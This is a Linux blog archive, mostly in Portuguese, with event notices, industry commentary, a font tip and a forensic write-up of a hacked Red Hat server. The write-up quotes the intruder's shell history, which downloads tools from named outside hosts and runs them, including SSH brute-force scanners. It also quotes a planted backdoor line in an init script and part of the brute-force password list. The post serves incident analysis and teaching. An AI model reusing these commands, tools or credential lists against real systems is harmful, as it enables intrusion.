Ramblings, essays and tips about Linux and the Open Source universe.
Vou ministrar um workshop acompanhado por café da manhã sobre middleware IBM para Linux, na SUCESU-SP dia 27/06, a das 8:30 às 11:00, na rua Tabapuã 627.
O público alvo são desenvolvedores e administradores de sistemas, e vamos abordar ferramentas Rational, Data Management, WebSphere e Open Desktop.
Gratuito para sócios SUCESU, e R$40 para quem não é associado.
Mais informações e inscrição no site da SUCESU-SP.
Resolvi aderir ao meme (alguém sabe onde começou?).
floripa:~$ history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -rn|head -20
222 ls
140 cd
136 ls
52 rsync
43 dmesg
35 mv
35 gmplayer
24 sudo
23 ps
23 df
19 mkvinfo
18 rpm
15 mkdir
14 cat
11 mkvextract
11 less
11 ffmpeg
10 mmg
9 ping
9 kill
Resolvi dobrar o tamanho da lista para dar a chance das pessoas conhecerem novos comandos, menos populares, como mkvextract, mmg, mkvinfo, ffmpeg.
Queria lembrar que essa lista é uma fotografia do meu uso atual, e tenho manipulado muito vídeo últimamente. Em outros carnavais, iriam aparecer coisas como java, ssh, etc.
A revista Linux Journal sempre teve uma pequena sessão que passa quase despercebida pela maioria das pessoas, mas que é a primeira que devoro quando um exemplar cai em minhas mãos: a LJ Index.
Preparada por ninguém menos que Doc Searls — autor de Mundo de Pontas (World of Ends), The Clue Train Manifesto, e outros textos monumentais sobre a cybercultura, cybereconomia e Open Source — traz uma numerologia rápida, geral e deliciosa sobre coisas como Linux e cybercultura.
Comecei a traduzi-lo desde março de 2007, e vai aparecer na sessão Índice Linux Journal do meu blog. Quem assina 
meu feed geral já está recebendo. Quem só quiser assinar esta sessão, fique a vontade também.
Divirtam-se.
Por Doc Searls. Original: http://www.linuxjournal.com/article/9594#mpart5
Por Doc Searls. Original: http://www.linuxjournal.com/article/9474#mpart4
A companhia lançou semana passada o VMWare Workstation 6 com suporte a paravirtualização usando a especificação paravirt-ops, que ela mesma propos, e que comparado ao Xen, não exige um kernel modificado (virtualização transparente). Distribuições Linux com kernel 2.6.20 ou superior já suportam paravirt-ops.
Eu acho vibrante ser membro da comunidade Open Source, contribuir com código, evangelizar e encontrar geeks em eventos para escovar bits verbais sobre módulos do kernel a ideais futuristas.
Mas tem uma outra Comunidade Open Source que estou me tocando que existe e que faço parte: a corporativa.
Sim, existe uma seita de engravatados que tem o Tux como mascote, carregam-no como broches em seus ternos, e conversam sobre um monte de assuntos interessantes, inclusive Linux e Open Source.
Ontem fui a um jantar que a Linux Magazine promoveu em São Paulo para os patrocinadores de seus eventos Linux Park. Estavam presentes todos os representantes da seita: Gouveia pela LPI, Annunciação, Tamaris, Carol pela Novell, David Barzilay pela Red Hat, Meyer, Edmundo e Batista pela Itautec, Sulamita a Linux Chix de cabelo vermelho da Intel, Edson pela Fujitsu, Rafael pela revista, e eu pela IBM. Faltaram (de fazer falta mesmo) Oracle, HP, e outros.
Enquanto os geeks trocam pessoalmente chaves GPG de criptografia (juro que vi esse ritual num evento do KDE, na Alemanha), nós, os engravatados, vibramos com o ritual do trading de cartões de visita. Brincos, piercing, cabelão são trocados por gel e bons perfumes. Um tom de voz idealista e revolucionário é substituido por um tratamento formal, moldado por anos de prática em atendimento a clientes. Num evento geek como o FISL é comum ver muitos, em público, focados em seus laptops, construindo código, enquanto nessa nova seita os coffee-breaks são importantes para construir relacionamentos. Network de dados versus o networking corporativo.
As duas facções dessa comunidade — a geek e a corporativa — são importantes e se completam. Uma gera tecnologia, a outra trata de dar um sentido prático e de valor comercial. Uma idealiza e pensa no amanhã, e a outra comunica e prepara o terreno hoje. Os geeks vão ao fundo da tecnologia, e a corporação trata de moldá-la para ser user friendly e de fácil compreensão. E da mesma forma que Fedoras e Slackwares esquecem suas diferenças a fim de trabalhar por um ideal comum, Red Hats e Novells, IBMs e Itautecs e HPs, etcs e etcs comungam juntos para o bem de um mercado livre e grande o suficiente para todos. As comunidades engravatada e a geek não podem existir uma sem a outra e vice-versa. E fico feliz em navegar bem entre as duas.
O jantar estava ótimo e se estendeu até tarde. Tive que sair umas 11 por completa exaustão física e mental, depois de um dia cheio, com muita evangelização num evento para parceiros, sobre Linux em System z (o famoso mainframe).
Sabe aquela multa de radar que você recebeu? Foi enviada pelo Tux.
Mas não o culpe por isso. Linux só foi a base tecnológica para todo o sistema.
Ontem conversei bastante com o pessoal da Engebras, empresa que cria e administra a maioria dos radares de São Paulo e outros estados. Já tinha ouvido falar que todos os sistemas para suportar essa monitoração era baseada em Linux, e eles contaram mais detalhes. Continue lendo…
Os radares são na verdade câmeras analógicas com sensibilidade melhorada conectadas a computadores próximos que rodam Linux que por sua vez digitalizam a imagem instantaneamente com a ajuda de placas de captura de vídeo. As placas dos carros são imediatamente reconhecidas por OCR por uma biblioteca de uma empresa israelense, a multa é impressa, enviada pelo correio, recolhida no banco e repassada para o governo estadual, federal ou município, dependendo da jurisdição.
Todos os carros que passam por um radar — infrator ou não — são filmados. Não é uma câmera fotográfica, e sim uma filmadora.
Tazo (gerente de informática da Engebras) e seu pessoal afirmaram que todos os sevidores da empresa rodam Linux. Coisa de 50 a 60 servidores. Mas são servidores paravirtuais. Porque servidores físicos mesmo a empresa tem menos de 10.
Fiquei feliz em ver um exemplo vivo de um datacenter inteiramente virtual, e imaginei a flexibilidade operacional que eles tem em fazer movimentações de serviços sem indisponibilidades.
Mostraram sua extranet onde pode-se ver as fotos de infrações do momento, mais estatísticas de variação de velocidade média por hora, número de veículos, e até seu tamanho. Mostraram também como motoqueiros cometem infrações, mas escondem sua placa com a mão.
Além disso, imediatamente consultam uma base de dados de veículos não licenciados (em MySQL), mas aqui não se pode multar por radar. Por outro lado uma aviso é enviado para a polícia da região, avisando a placa e o ponto onde o veículo foi detectado.
40% da frota nacional não é licenciada, inclusive viaturas da polícia.
Há também os radares de farol, onde não basta uma imagem estática. É necessário registrar o movimento do veículo ultrapassando o sinal vermelho como evidência. Neste caso são usados softwares livres como ffmpeg para gerar este clip em MPEG.
A comunicação entre os radares e o datacenter central é geralmente provida por GPRS, pelas operadoras de celular da localidade.
Se tiver sorte, o pessoal da Engebras vai passar no meu blog para dar mais detalhes de sua operação.
Vamos realizar aqui na IBM um evento gratuito para empresas e profissionais que prestam serviços de TI. O objetivo é mostrar possibilidades de arquiteturas que poucos conhecem mas que trazem enormes benefícios operacionais e financeiros, pois usa computação de forma ecônomica.
Abordarei os seguintes assuntos:
Será dia 8 de maio, próxima terça, das 14:00 às 17:30 na IBM São Paulo (rua Tutóia 1157). Sala TU02-226.
Confirme presença com a Fernanda Moraes <femoraes@br.ibm.com> por e-mail ou no telefone 11-2132-5691.
Adicione: 
Venha conhecer mais profissionais de sua área, trocar idéias e tomar um café.
A Red Hat comemorou hoje seu novo escritório num dos edifícios mais novos e elegantes de São Paulo.
Endereço do novo escritório da Red Hat
Muitos parceiros e clientes foram confortavelmente recebidos para um coquetel espaçoso num escritório colorido, decorado com uma mistura de cartazes de propaganda de produtos, e outros com a famosa frase de Gandhi que foi adotada pelo Open Source:
Primeiro eles te ignoram, depois eles riem de você, depois eles lutam contra você, e depois você vence.
A primeira coisa que chamava a atenção era a “Sala de Descompressão”, onde o pessoal pode relachar jogando games. Mas depois nos levaram para conhecer as espaçosas salas de reunião, as bem equipadas salas de aula, e as salas dos gerentes.
Havia realmente muito espaço que eles pretendem preencher com novas contratações de vendedores, sales engineers, pessoal de marketing etc. E havia ainda a outra metade inteira do andar para mobiliar e ocupar. Mas em pequenos passos.
A Red Hat (ou Rêd Hétchi, como diz Alejandro Chocolat, argentino gente boa que comanda a empresa no Brasil) inaugurou sua operação por aqui ao comprar a Latin Source, empresa que já os representava no cone sul.
Estavam todos presentes: Chocolat com seu inconfundível sotaque, Julian, Gabriel Szulik (com o mesmo sobrenome do diretor mundial da empresa, mas que afirma não ser parente dele), Rodrigo Missiagia e suas belas camisas caneladas, Filipe absorvido em resolver o problema de um cliente, David Barzilay com um terno novo e bonito, Leticia, Edgar (o sopro Java/JBoss na equipe técnica de vendas), Paulo Banitz e outros tantos que lamento não lembrar o nome.
O ar da empresa tem um quê de Google: aquele ambiente descontraido onde todos trabalham por prazer, fazem o que gostam, e ainda estão na ponta da tecnologia. Eles pretendem dobrar de tamanho em um ano.
Há um lado oculto da empresa: o laboratório de tecnologia. É oculto porque seus membros não ficam muito a vista, imersos em melhorar o kernel do Linux, o JBoss, e escovar outros bits. É o lar de figurões como Marcelo Tosatti, Acme e outros.
A conversa com o Edgar, figura Java, foi particularmente interessante. Ele veio da Summa e está a uma semana na Red Hat. É o primeiro da empresa que tem a missão de falar sobre JBoss com o mercado. Contou que muitos clientes já usam JBoss gratuitamente, e que agora é hora de provar o valor de terem também suporte comercial. Contei que achava muito importante a Red Hat ter comprado a JBoss. Na linha do tempo de decidir qual tecnologias adotar, uma empresa pensa antes na plataforma de aplicações (coisas como o JBoss, WebSphere, middleware em geral), e só depois no sistema operacional (Linux). No tecnês do dia a dia, dizemos que sistema operacional é um mal necessário. Ter uma oferta tão estratégica e expressiva como o JBoss coloca a Red Hat numa posição adiantada nessa linha do tempo.
Resumo da ópera: a festa foi superdivertida e ótima para encontrar os amigos do nosso mundo de Linux comercial no Brasil.
Acabei de sair do evento Pré-FISL em São Paulo, organizado pela 4Linux.
Foi ótimo. Com palestras e palestrantes de alta qualidade. Confira:
O evento fechou com um coquetel informal onde reencontrei velhos amigos como o Luiz Blanes e outros.
A casa estava cheia, e espero que o evento se repita ano que vem. Tem tudo para se tornar tradição em São Paulo.
Não podemos deixar de marcar nossa presença no evento de virtualização da Novell. Confira as datas e cidades:
| Brasil | América Latina |
No track da IBM vou fazer uma apresentação nova sobre virtualização, incluindo o tema quente da paravirtualização, mas passando também por virtualização de storage, virtualização de aplicações, e outras virtualizações pouco conhecidas, até chegar nos conceitos de Grid e SOA que são as vertentes mais sofisticadas de virtualização.
Inscreva-se gratuitamente nos links acima e garanta sua vaga.
Cezar Taurion, excelente consultor e colega de trabalho, engatou seu blog no developerWorks. Gostaria de complementar seu artigo da Linux Magazine de dezembro de 2006 com algumas aspectos sobre segurança.
Não há como afirmar que Open Source é mais seguro que Closed Source, ou que Closed Source é mais seguro que Open Source. Quem o afirma, geralmente faz por religião e não por análise fria.
Considero-me especialista em segurança, mas evito ao máximo tocar neste assunto ao falar com clientes em geral, quando o âmbito é Open Source. Só quando eles perguntam. Simplesmente porque cada um terá uma opinião, e porque nehuma opinião pode ser verdadeiramente constatada.
Vamos dividir o mundo Open Source em dois blocos. No primeiro desfilam as escolas do grupo 1, campeões de audiência como o Apache HTTP Server, Samba, boa parte do Kernel, Bind, OpenSSH, DHCP, Firefox, OpenOffice.org, libc, que são arrasadoramente populares, e literalmente seguram a festa da Internet no ar. A lista não é muito maior que essa.
E no grupo 2 ficam todos os outros projetos Open Source, disputando um lugar ao sol e na passarela das distribuições Linux. Aqui estão as dezenas de milhares de projetos abandonados do SourceForge.net, e também projetos longe da criticidade das do grupo 1, mas já um pouco mais usados, como Gnome, KDE, X.org, a outra parte do Kernel, OpenLDAP, NAS, VNC, ImageMagick, Bash, Gimp, Kopete, Gaim, libc++, libxml, ntp, e mais todo o resto que não aparece no grupo 1 mas que está instalado aí no seu computador.
Enquanto pensamos que no closed source podem haver pontos inacessivelmente inseguros e backdoors, devemos também nos perguntar se há realmente pessoas analisando todo Open Source que interessa, com enfoque em segurança. Pense no grupo 2.
Sobre segurança em Open Source, a única coisa que podemos afirmar é que o código se mantém aberto para quem quiser auditá-lo (característica que o closed source não tem e nem quer ter). Mas novamente, isso não é garantia de que suas falhas serão achadas.
No grupo 1, dos superpopulares, a estória é outra. Eles são naturalmente submetidos a stress massivo e constante do mundo real. E a dependência que muitas empresas e indivíduos tem desse grupo os leva a se relacionar de forma simbiótica com sua evolução. Usam o fato de ter o fonte disponível para auditar e contribuir melhorias.
A separação entre os grupos não é tão nítida. Usei só para ilustrar. A fronteira é na verdade uma larga faixa de projetos Open Source com diferentes graduações de popularidade, stress e uso.
É preciso ter a soma de dois aspectos para se ter a melhor segurança: código fonte aberto + extrema popularidade, sendo o último mais importante (e mais difícil de alcançar) que o primeiro.
Um closed source também tem sua chance de ser seguro. Basta a empresa que o fabrica cuidar bem de seu produto. Se ele for popular, ela tende a cobrar menos para executar este trabalho. Se for menos popular, mas ainda desejado pelos clientes, seu preço tende a ser mais alto.
On January 25th the OSDL released their 2006 Linux client survey analysis, which identified the following barriers for Linux deployment on desktops:
It is not that applications don’t exist for the Linux desktop, but users grow accustomed to certain applications that they just can’t live without.
Users report they are missing applications as Microsoft Office (OpenOffice.org is the alternative), Adobe Photoshop (which has The Gimp as the closest, but still far alternative), AutoCAD (with QCad as a very far similar) and others.
For peripherals, this is the list:
However, it is still difficult to buy a printer at your local electronics store and expect it to work out of the box on a Linux machine. While most printers are supported on Linux, there is still a lag from the time when a printer hits the market to when the driver driver is available and automatically installed on your computer by a commercial distro update.
And as a Linux user, I must add that when the device works, it usually won’t work with its full set of capabilities, because drivers are usually written by third parties on the OSS world – and not by their manufacturers, which are expected to have a much deeper knowledge (and project commitment) on these hardware capabilities.
So the problem is a committed application and drivers development. Well, how can companies commit themselves to develop desktop software (which means friendly to non-technicall users) in a world that had not decided yet about some elementary standards? Yes, there is the FreeDesktop.org initiative but the standards they are focused on are more related to KDE-Gnome interoperability.
Most important standards that must be defined will find their home in a layer bellow: LSB. But unfortunately, the Linux Standard Base still has a big job to finish and still seems to have difficulties to catch up with ISVs.
As an example, there is no de facto standard defined for things as trivial as a configuration files format for the whole system, not only for desktop apps. This is particularly important because configurations are what makes software run in a specific way. They are the soul of any software (while code is the body). A popular standard for configurations will provide ways for any software to collaborate with, and auto-configure any other software. On Windows, this was successfully achieved with its registry. On Linux, similar but broader and better alternatives exist (as the Elektra Initiative), but this is a subject that seems to not inspire the OSS community.
Standards bodies can’t do everything alone. The community must be ready for changes, adaptations, and have courage to throw away code that was not choosed by the standard, and start focusing on what was selected to be part of it. Courage to stop reinventing the wheel. For example, on a vanilla KDE installation you will find about 4 different media players (Amarok, Juk, kboodle, noatun, etc) and 3 different plain editors (kate, kedit, kwriter). If you have Gnome installed on same system, add a few more to each class of applications (and to the icons that will appear on your menus). This is confusing, fat and bad.
Another important fact on the analysis is a 49% desktop share for Canonical’s Ubuntu Linux, against RHEL and SLED with 16% each. RHEL and SuSE are more popular on servers and are essentially and structurally different distributions, but both use RPM as their packaging system. While Ubuntu is radically different from both, based on Debian, with the DEB format for packages. A well known and well used packaging system is very important on a desktop world, because this is what guarantees an easy, painless software installations and upgrades. So if I am an ISV with limited technicall staff and time resources, how should I package my software for easy deployment? DEB or RPM? If RPM, should I focus on Red Hat or SuSE flavors? Though questions.
Application vendors cannot afford to develop, distribute, and support applications across a fragmented Linux market.
Red Hat and Novell should look at their future server market, paying attention on what is happening today on the desktop. History shows that people tend to bring to work (and to servers) what they like and use on their desktops at home. This is Ubuntu’s long term strategy and they seem to be succeeding, at least on their first phase.
Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.
Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.
Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.
O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:
Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: refused connect from IP.IP.IP.IP Feb 22 12:26:27 sshd[PID]: refused connect from IP.IP.IP.IP
Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.
Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.
A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.
Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:
bash$ rpm -qf /etc/init.d/functions initscripts-7.93.20.EL bash$ rpm -V initscripts S.5....T c /etc/rc.d/init.d/functions
Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.
Mas o que foi alterado no script functions ?
A última linha do script era esta:
/usr/bin/crontabs -t1 -X53 -p
Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:
bash$ rpm -qf /usr/bin/crontabs o ficheiro /usr/bin/crontabs não pertence a nenhum pacote
Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:
bash$ strings /usr/bin/crontabs [...] "smbd -D" "(swapd)" & [...]
Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:
bash$ strings “/usr/bin/smbd -D" [...] Received SIGHUP; restarting. Generating new %d bit RSA key. RSA key generation complete. -b bits Size of server RSA key (default: 768 bits) By-ICE_4_All ( Hackers Not Allowed! ) SSH-%d.%d-%.50s This server does not support your new ssh version. Sent %d bit public key and %d bit host key. sshd version %.100s [%.100s] [...]
Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:
Feb 19 19:24:49 localhost smbd -D: RSA1 key generation succeeded Feb 19 19:24:50 localhost smbd -D: RSA key generation succeeded Feb 19 19:24:51 localhost smbd -D: DSA key generation succeeded Feb 19 19:24:51 localhost smbd -D: succeeded
Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.
Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:
bash# less /root/.bash_history [...] cd /usr/share/.a wget lamisto.octopis.com/mig.tgz tar xzvf mig.tgz ./mig g-u root -n 0 ./mig -u root -n 0 cd /usr/share/.a wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz tar xzvf flo.tgz...linhas omitidas... cd /var/tmp wget djanda.com/get/usr.tar.gz wget djanda.com/get/x.tar.gz tar xfvz usr.tar.gz cd usr chmod +rwxrwxrwx * ./crond cd .. tar xfvz x.tar.gz cd x chmod +rwxrwxrwx * mv unix x ./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50 [...] /usr/sbin/adduser scanning
O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:
Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.
Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.
Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:
root passw0rd root pa55word root pa55w0rd sapdb sapdb apache apache apache 123456 apache2 apache apache2 apache2 apache2 apache123
Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.
Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.
Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:
Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.
Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.
Só Freud explica…
I am the maintainer and writer of most of the official Linux Font-HOWTO [official home], and one of its main points is to explain what is the TrueType Bytecode Interpreter.
I spent some time this morning updating the freetype package on my system [get RPMs], compiling it with support to BCI, and I took the chance to get some “before & after” screenshots of Konqueror browser accessing Google Mail with and without BCI.
Check it out. This is better than makeup ads:
| Before: Original Freetype lib without BCI | After: New Freetype RPM compiled with BCI |
 |
 |
 |
  |
 |
  |
 |
  |
After switching to BCI-enabled freetype, the use of Webcore fonts without anti-aliasing gives much much much better results, as you can see. Unfortunately these fonts are not free, but they are better than the popular Bitstream Vera fonts because they include hinting information.
BTW, anti-aliasing is useful in 2 situations only: if you are rendering fonts in big sizes (bigger than 13px), or if you have bad, non-hinted fonts (as Bitstream Vera) with a bad font rendering library (as Freetype without BCI support). If you have good hinted fonts and a good rendering library (as Freetype with BCI), restrict anti-alising only for big font sizes.
Just like Sulamita, I also have a picture with Linus Torvalds.
It was taken in the Linux World event, San Francisco, on august 6th 2003.
O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.
Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.
O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.
A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.
Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.
É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.
Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.
